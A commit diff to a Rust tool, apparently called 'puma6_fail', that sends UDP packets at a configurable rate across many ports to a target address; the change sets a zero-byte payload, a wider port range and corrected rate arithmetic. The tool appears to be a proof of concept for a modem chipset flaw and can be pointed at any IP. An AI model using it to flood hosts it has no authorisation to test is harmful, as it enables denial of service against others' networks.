Adjust defaults. 0 byte payload, bigger port range

src/main.rs

@@ -17,11 +17,11 @@ fn main() {
 	let args: Vec<_> = env::args().collect();
 	// default to an unused address (entire /8 unused)
 	let mut target = "51.0.0.0";
-	let mut length = 50usize;
+	let mut length = 0usize;
 	let mut mbper_second = 0.5f32;
-	let mut port_range = 10000;
+	let mut port_range = 50000;
 
-	println!("usage: ./puma6_fail <target ip={}> <packet length={}> <mbps={}> <ports={}>", target, length, mbper_second, port_range);
+	println!("usage: ./puma6_fail <target ip={}> <payload length={}> <mbps={}> <ports={}>", target, length, mbper_second, port_range);
 
 	if args.len() > 1 {
 		target = args[1].as_str();
@@ -32,19 +32,21 @@ fn main() {
 		length = args[2].as_str().parse::<usize>().expect("invalid packet size")
 	}
 	// 20 byte IP header + 8 byte UDP header + data
-	let data = zeros(length-28);
+	let data = zeros(length);
 
 	if args.len() > 3 {
 		mbper_second = args[3].as_str().parse::<f32>().expect("invalid speed")
 	}
-	let per_second = ((1024f32 * 1024f32 * mbper_second) / 8f32) as usize;
+	let per_second = (1024f32 * 1024f32 * mbper_second) / 8f32;
 
 	if args.len() > 4 {
 		port_range = args[4].as_str().parse::<u16>().expect("invalid port count")
 	}
 
-	let packets_per_millisecond:usize = (per_second / length)/1000;
-	println!("Sending {} UDP pps, {} bytes, to {} ports at {}", packets_per_millisecond*1000, length, port_range, target);
+	let udp_length = length + 28;
+	let ethernet_length = udp_length + 26;
+	let packets_per_millisecond = (per_second / (udp_length as f32))/1000f32;
+	println!("Sending {} UDP pps, {} bytes payload, {} bytes IP, {} bytes ethernet, to {} ports at {}", packets_per_millisecond*1000f32, length, udp_length, ethernet_length, port_range, target);
 
 	let start = time::PreciseTime::now();
 	let mut count = 0;
@@ -53,7 +55,7 @@ fn main() {
 			source.send_to(&data, format!("{}:{}", target, port)).ok();
 			count = count + 1;
 			let elapsed = start.to(time::PreciseTime::now()).num_milliseconds();
-			if count/ packets_per_millisecond > (elapsed as usize) {
+			if count as f32 / packets_per_millisecond > (elapsed as f32) {
 				#[allow(deprecated)]
 				thread::sleep_ms(2);
 			}